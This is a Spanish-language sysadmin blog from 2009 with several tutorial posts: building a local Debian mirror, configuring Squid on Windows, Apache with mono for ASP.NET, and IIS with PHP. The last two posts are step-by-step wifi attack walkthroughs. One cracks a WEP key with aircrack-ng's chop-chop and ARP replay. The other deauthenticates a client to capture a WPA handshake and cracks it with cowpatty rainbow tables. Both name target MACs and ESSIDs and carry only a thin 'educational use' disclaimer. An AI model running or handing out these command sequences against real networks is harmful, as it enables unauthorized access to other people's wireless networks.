Como crear un repositorio local de Debian desde los DVD´s

Posted in Linux on septiembre 30, 2009 by waldoredes

Para mi es vital tener mi repositorio ya que a veces en el SENA no tenemos internet o si lo hay es muy lento la conexion por esto decidi montar mi propio repositorio y asu vez compartirlo para mis compañeros de estudio.

Los  requisitos fundamentales es tener los 5 DVS de debian y una particion con espacio libre de 20gb

lo primero que haremos es crear una carpeta, en mi caso la creare en un dico duro aparte

#mkdir repositorios

1


El siguiente paso es copiar dos carpetas de los DVD´s en la carpeta que creamos anteriormente

#cp -R dists/ /media/mirror/repositorios/

#cp -R pool/ /media/mirror/repositorios/

El proceso anterior lo vamos a hacer con cada DVD, es un poco desmorado tendremos paciencia

Ahora vamos a escanear y comprimir los paquetes main y contrib

Paquetes main

#dpkg-scanpackages pool/main/ /dev/null > dists/lenny/main/binary-i386/Packages

#gzip dists/lenny/main/binary-i386/Packages

Paquetes contrib

#dpkg-scanpackages pool/contrib/ /dev/null > dists/lenny/contrib/binary-i386/Packages

#gzip dists/lenny/contrib/binary-i386/Packages

Despues del proceso anterior pasaremos a instalar un servidor Web en mi caso instalare Apache

#apt-get install apache2

2

Presionamos la tecla Y para continuar con la instalacion

Cuando nuestro apache acabe de instalar procedemos a hacer un link simbolico apuntando a nuestro al directorio donde publica el apache que por defecto es /var/www/

#ln -s /media/mirror/repositorios /var/www

Ya con los pasos anteriores nuestro servidor esta funcionando como mirror local

Ahora vamoa a decirles a los clientes de que direccion se pueden descargar los paquetes

#nano /etc/apt/sources.list

En el archivo sources.list agregaremos la siguiente linea

deb http://xxx.xxx.x.x/repositorios lenny main contrib

Donde estan las X siginifica la IP de nuestro servidor

4

Ahora guardamos el archivo modificado y actualizamos nuestros repositorios con el siguinte comando

#apt-get update

5

Listo ya tenes nuestro repositorio local con mayor velocidad a la hora de descargar nuestros paquetes



Anuncios

Manual de proxy basico en Windows

Posted in Windows on septiembre 28, 2009 by waldoredes

Lo primero es descargar la ultima version estable de squidNT la pueden descargar de esta direccion http://squid.acmeconsulting.it/download/dl-squid.html

Despues descomprimimos el contenido de la carpeta zip en nuestro disco duro en este caso el disco local C:\
quedaria algo asi

1

Continuamos accede a la carpeta C: \squid\etc y renombramos los archivos que hay alli squid.conf.default y mime.conf.default deja una copia de los archivos por si te equivocas editando el original

2

Con el notepad o el editor de texto que tu prefieras abre el archivo squid.conf y busca las siguientes lineas y realiza las modificaciones siguientes.

#cache_dir ufs C: \squid\var\cache 100 16 256

Elimina el simbolo de numero de esta linea (#) y ponle la direccion donde se ubicara la cache de squid

El numero que sale por defecto es  (100) es el espacio  en mega bytes que se destinara para la cache, según el espacio que quieras asignar y el disponible en el disco duro puedes poner desde 10MB hasta  10Gb o mas, para este ejemplo asignaremos 1 GB

cache_dir ufs C: \squid\var\cache 1000 16 256

Busca el siguiente grupo de lineas

unregistered ports

acl Safe_ports port 280 # http-mgmt

acl Safe_ports port 488 # gss-http

acl Safe_ports port 591 # filemaker

acl Safe_ports port 777 # multiling http

acl CONNECT method acl all src 0.0.0.0/0.0.0.0

acl manager proto cache_object

acl localhost src 127.0.0.1/255.255.255.255

acl to_localhost dst 127.0.0.0/8

acl SSL_ports port 443 563

acl Safe_ports port 80 # http

acl Safe_ports port 21 # ftp

acl Safe_ports port 443 563 # https, snews

acl Safe_ports port 70 # gopher

acl Safe_ports port 210 # wais

acl Safe_ports port 1025-65535 #CONNECT

Cada una de estas líneas son variables con las que trabajara tu proxy, aquí podrás agregar quien (accede PC o usuario) o que accede a internet o no permitir descargar algunos formatos de archivos (exe, mov, mp3)

De momento bastara con agregar las siguientes líneas

acl net src 192.168.101.0/255.255.255.0

Donde 192.168.101.0 representa el segmento de red en que está configurada  255.255.255.0 representa la máscara de tu red

Busca la siguiente línea

http_access allow manager localhost

Y después de esta agregamos la siguiente línea

http_access allow net

Donde 192.168.101.0 representa el segmento de red en que está configurada  255.255.255.0 representa la máscara de tu red

Donde net representa a tu red, esta regla está dando permisos a tu red de usar el proxy

Si queremos filtrar determinadas palabras hacemos lo siguiente

Crearemos un archivo de texto con las palabras que queremos  que nos  filtre el proxy  y lo guardamos en la siguiente ruta  C:\squid\etc\denegado.txt

3

Después agregamos una regla después de la siguiente línea ósea que nos vamos a devolver

acl net src 192.168.101.0/255.255.255.0

Le agregamos esta línea

acl palabras url_regex “C:/squid/etc/denegado.txt”

5

En la imagen anterior vemos como queda la regla

Buscamos la siguiente línea y la modificaremos

http_access allow net

Y le agregas !palabras

Asi quedaría

http_access allow net !palabras

Al final del archivo agregamos esta línea

Visible_hostname server

Busca la siguiente línea y las quitas el símbolo #

http_port  3128

Busca la siguiente línea quítale el símbolo # y cambia la palabra off por on esto hablita la aceleración de navegación

httpd_accel_with_proxy of

Quedaria de la siguiente forma

httpd_accel_with_proxy on

Ahora agregaremos el DNS entonces para hacer esto buscamos estas líneas

# Example: dns_nameservers 10.0.0.1 192.172.0.4

#

#Default:

# none

Y agregamos esta línea

dns_nameservers  192.168.101.1

Con esto acabamos de configurar los parámetros básicos de squid ahora falta ponerlo a funcionar

Por medio de consola o de inicio ejecutar ponemos el siguiente comando

C:\squid\sbin\squid –z

Si no marca ningún error significa que hicimos todo bien

Después ejecutamos este comando

C:\squid\sbin\squid –i

Esto comando instala el servicio proxy en la lista de servicios de Windows server 2003

Ahora reinicias l servicio de squid, esto lo podernos hacer de dos formas, reiniciando tu PC o ir al panel de control, herramientas administrativas , servicios allí busca uno que se llama squidNT y le das reiniciar

Ahora ya tenemos nuestro proxy corriendo

DHCP en OpenBSD con VLANs

Posted in OpenBSD on septiembre 27, 2009 by waldoredes

Servidor apache con soporte para ASP.NET

Posted in Linux on septiembre 27, 2009 by waldoredes

En este post veremos como configurara el apache para que soporte el lenguaje de programacion ASP.NET

Primero vamos a instalar el apache con el siguinte comando

#apt-get install apache2

1

Presionaremos la tecla Y para acerptar la instalcion de los paquetes

Ahora instalaremos el modulo de mono para apache

# apt-get install libapache2-mod-mono mono-apache-server

2

En la imagen anterior nos esta diciendo que si queremos continuar con la instalacion entonces presionaremos la tecla Y

Ahora vamos a desactivar el mod_mono

# a2dismod mod_mono

Ahora activaremos el mod_mono_auto

# a2enmod mod_mono_auto

Esto nos pide que reniniciemos el apache para que cargue la nueva configuracion

# /etc/init.d/apache2 restart

Ahora vamos a mirar si a apache a cargado el modulo mono

En el navegador web de nuestra propia maquina colocaremoshttp://localhost/sadasdasd” y nos deberia aparecer algo como esto

3


Ahora solo falta descargarnos un Web Services en apsx

En el siguinte link nos dan mas informacion sobre Web Services tambien nos enseñan a crear un Web Service pero si no  quieres crearlo lo puedes descargar ya listo que no se si no descomprimirlo en el directorio /var/www

http://www.antoniomtz.org/2009/05/crear-un-web-service-en-monodevelop/

Web Service ya creado Descargar

Si todo a salido bien tendremos que ver algo como esto

4

Quiero reiterar que el proyecto de Web Service que utilice para hacer la demostracion no fue creado por mi

Fuente: http://krypto84sv.blogspot.com/2008/01/configurar-servidor-sencillo-asp-net-en.html

Instalación de IIS con soporte para PHP

Posted in Windows on septiembre 24, 2009 by waldoredes

Requisitos para la instalacion

Cd de Windows Server

Paquete de instalacion de PHP 5.2.11 zip package Descargar

Ya despues de descargar este paquete  procedemos a la instalacion de IIS

En panel de control elegir la opcion de “Agregar o quitar programas”

1

En esta ventana selecionaremos “Agregar o quitar componentes de windows”

2

Ahora nos aparece la siguiente ventana y seleccionaremos “Servidor de Aplicaciones” y despues le damos en “Detalles”

3

En la siguinte ventana chuleamos el subcomponente Instalar Internet Information Services (IIS) y le damos aceptar para iniciar la instalacion

4

5

Como podemos ver el proceso de instalacion ha terminado satisfactoriamente y le damos clic en Finalizar para cerrar la ventana

6

Ahora vamos a probar que nuestro IIS este funcionando correctamente

Abrimos un navegador e ingresamos la siguinte direccion http://localhost/

7

Como podemos ver en la imagen anterior nuestro IIS esta funcionando correctamente.

Ahora procedemos a instalarle el modulo de PHP

Crearemos una carpeta en la particion  C: llamada PHP y en esa carpeta descomprimos el paquete que decargarmos anteriormente.

Despues vamos a cambiarle el nombre a el siguinte archivo que se llama php.ini-recommended le quitamos -recommended entonces quedaria asi php.ini

Ahora vamos a agregarle una libreria al IIS con los siguientes pasos

Le damos clic en “Herramientas administrativas” despues en “Administrador Internet Information Services (IIS)”

15

Despues le damos clic Sitios Web y le damos clic derecho sobre el Sitio Web Predeterminado y le damos clic en propiedades

16

Y nos aparece la siguinete ventana donde agregaremos la libreria php5isapi.dll que se encuentra el carpeta que creamos anteriormente.

Para esto vamos a dar clic sobre Filtros ISAPI despues le damos clic en “agregar2 y despues en “examinar” y selecionaremos donde encuentra nuestra libreria en mi caso en C:\PHP y el nombre del filtro colocaremos php

17

Luego pasamos a la siguinte pestaña que se llama Directorio particular y presionamos sobre la opcion Configuracion

18

Despues agregaremos la misma libreria del paso anterior de la siguinte forma

19

Despues nos aparece la siguinte ventana

20

Donde dice extension colocaremos .php y le damos examinar para ubicar la libreria php5isapi.dll en mi caso se encuentra en C:\PHP y despues le damos clic en aceptar a todas la ventanas abiertas anteriormente.

Despues le daremos permisos para que IIS puede ejecutar esa libreria desconocida de la siguiente forma

Le daremos clic en “Agregar una nueva extension de servicio web”

21

Ahora agregaremos otra vez la libreria php5isapi.dll de la siguinte forma.

22

Ahora vamos a darle clic sobre permitir para poder que se ejecute la libreria

23

Ahora reniciamos el IIS de la siguinte forma

Le daremos clic sobre el icono stop

24

Ahora le damos clic sobre el icono play

25

Ahora comprobaremos nuestro IIS con PHP de la siguiente forma

Creamos un archivo y le agregamos esto <?phpinfo();?> lo guardamos con extension php

Ejemplo index.php

Y lo guardamos en la siguiente direccion C:\Inetpub\wwwroot que es el directorio de IIS por defecto

Vamos a iniciar nuestro navegador y escribimos http://localhost/index.php si todo ha salido bien son saldra algo como esto.

26

Ahora lograremos que nuestra pagina pueda hacer las 4 opereraciones basicas que son sumar, restar, multiplicar, dividr en php.

Lo primero es borrar el archivo anterior creado y despues vamos a crear otro con el siguiente  contenido.

<html>
<head>
</head>
<body>
<form name=”form1″ method=”post” action=”Radio.php”>
Ingrese primer valor:
<input type=”text” name=”text1″>
<br>
Ingrese segundo valor:
<input type=”text” name=”text2″>
<br>
<input type=”radio” name=”radio1″ value=”sumar”>
Sumar
<br>
<input type=”radio” name=”radio1″ value=”restar”>
Restar
<br>
<input type=”radio” name=”radio1″ value=”multiplicar”>
Multiplicar
<br>
<input type=”radio” name=”radio1″ value=”dividir”>
Dividir
<br>
<input type=”submit” name=”boton1″ value=”operar”>
</form>
</body>
</html>

Y lo guardamos con el nombre index.htm

Ahora crearemos otro archivo con el siguiente contenido.

<html>
<head>
</head>
<body>
<?php
if ($_REQUEST[‘radio1’]==”sumar”)
$resultado=$_REQUEST[‘text1’]+$_REQUEST[‘text2’];

if ($_REQUEST[‘radio1’]==”restar”)
$resultado=$_REQUEST[‘text1’]-$_REQUEST[‘text2’];

if ($_REQUEST[‘radio1’]==”multiplicar”)
$resultado=$_REQUEST[‘text1’]*$_REQUEST[‘text2’];

if ($_REQUEST[‘radio1’]==”dividir”)
$resultado=$_REQUEST[‘text1’]/$_REQUEST[‘text2’];

echo “El resultado es: $resultado”;
?>
</body>
</html>

Y lo guardaremos con el nombre radio.php

Ambos archivos deben estar en el directorio del IIS que por defecto es C:\Inetpub\wwwroot

Si todo nos ha salido nos debe aparecer esto.

27

Nota : No soy programador por esto me toco buscar el codigo fuente para sumar, restar, multiplicar, dividir y este es el link de donde los saque:

http://www.tutorialesfacil.com.ar/php/Controles.htm

Si hay errores por favor hacer el comentario y si te sirvio dar las gracias

Ataque Chop-Chop a WEP

Posted in Wifi on septiembre 23, 2009 by waldoredes

En este post les enseñare como romper un cifrado WEP

primero que todo miraremos como se llama nuestra interfaz de red inalambrica con el siguinte comando

#iwconfig

iwconfig1

Como podemos ver en la imagen anterior mi dispositvo se llama wlan0

lo siguiente que haremos es poner muestro dispostivo en modo promiscuo (modo monitor)

#airmon-ng stop wlan0

airmon1

#airmon-ng start wlan0

airmon2

Ahora localizamos el AP

#airodump-ng wlan0

airodum-ng3

Como podemos ver en la imagen anterior tenemos un AP con ESSID JONATHAN y usa el protocolo WEP

#airodump-ng c 1 -w prueba -i wlan0

airodum-ng

El siguiente paso es asociarnos contra el AP victima con el siguinte comando

#aireplay-ng -1 0 -e JONATHAN -a 00:0A:56:9A:18:FB -h 00:E0:4C:04:03:47 wlan0

aireplay-ng2

Ahora vamos a usar el ataque Chop-Chop

#aireplay-ng -4 -h 00:E0:4C:04:03:47 -b 00:0A:56:9A:18:FB wlan0

aireplay-ng4

Despues presionamos la tecla “y”

aireplay-ng5

Ahora creamos una petición de paquete arp usando el archivo .xor:

#packetforge-ng -0 -a 00:0A:56:9A:18:FB -h 00:E0:4C:04:03:47 -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-0914-174512.xor -w arp-request

15

Ahora enviaremos el paquete ARP creado anteriormente

#aireplay-ng -2 -h 00:E0:4C:04:03:47 -r arp-request wlan0

225

En la siguiente imagen podemos ver en la columna #Data Ya tenenemos los paquetes necesarios para poder lograr descifrar la contraseña

21

Ahora vamos a descifrar la contraseña con el siguiente comando

aircrack-ng -n 64 -z -f 1 -e JONATHAN -b 00:0A:56:9A:18:FB prueba-02*.ivs

23

Como podemos ver en la imagen anterrior tenemos la contraseña en tipo ASCII y la contraseña es WALDO

Este tipo de ataque es muy usado ya que el intruso no tiene que esperar a que un cliente esta autenticado en el AP.

Toda la información aquí expuesta es para uso educativo y/o científico. Todo lo que hagas con estos programas es responsabilidad tuya.

Como Crackear una WPA con Rainbows Tables

Posted in Wifi on septiembre 17, 2009 by waldoredes

Bueno el primer procesdimiento es mirar como se llama nuestra tarjeta de red inalambrica con el siguiente comando

#iwconfig

iwconfig1

En la imagen anterior podemos ver el nombre de mi tarjeta de red inlambrica es wlan0

ahora lo pondremos la tarjeta  en modo monitor con los siguintes dos comandos

#airmon-ng stop wlan0

#airmon-ng start wlan0

airmon2

Debe aparecer algo similar como en la  imagen anterior

ahora vamos a escanear las redes que estan a nuestro alcance

#airodum-ng wlan0

airodum29

En la imagen anterior podemos ver que a nuestro alcance hay un red wireles que tiene un tipo de encriptacion WPA-TKIP vamos anotar la MAC (BSSID) el nombre (ESSID) y el canal (CH)

Ahora usaremos airodum-ng para capturar el handshake

#airodump-ng –c 1 –bssid 00:A0:56:9A:18:FB –w prueba wlan0

1

Como vemos en la imagen anterior vemos que en el  AP hay  un cliente asociado entonces vamos  hacerle una desautenticacion al cliente que tiene conectado para nosotros poder capturar el handshake

#aireplay-ng -0 1 -a 00:0A:56:9A:18:FB -c 00:17:C4:32:A4:8D wlan0

3

2

En la parte superior de la imagen vemos que obtuvimos el handshake
Ahora procedemos a crackear la contraseña con el siguiente comando

#cowpatty -d /media/wpa_psk-h1kari_renderman/wpa_tables/xah-0/Thomson -r prueba-01.cap -s Thomson

airodum6

En la imagen anterior podemos ver la velocidad de crackeo de una red con WPA y la password es JONATHAN

NOTA:

Para poder crackear la contraseña el SSID debe de ser el mismo de las Rainbows Tables me explico si el SSID es por ejemplo thomson y en las Rainbows Tables es Thomson no puede descifrar la contraseña.

En el siguinte link pueden descargar las Rainbows Tables y encontrar mas información

http://hak5.org/forums/index.php?showtopic=12708%3Cbr%3E

Toda la información aquí expuesta es para uso educativo y/o científico. Todo lo que hagas con estos programas es responsabilidad tuya.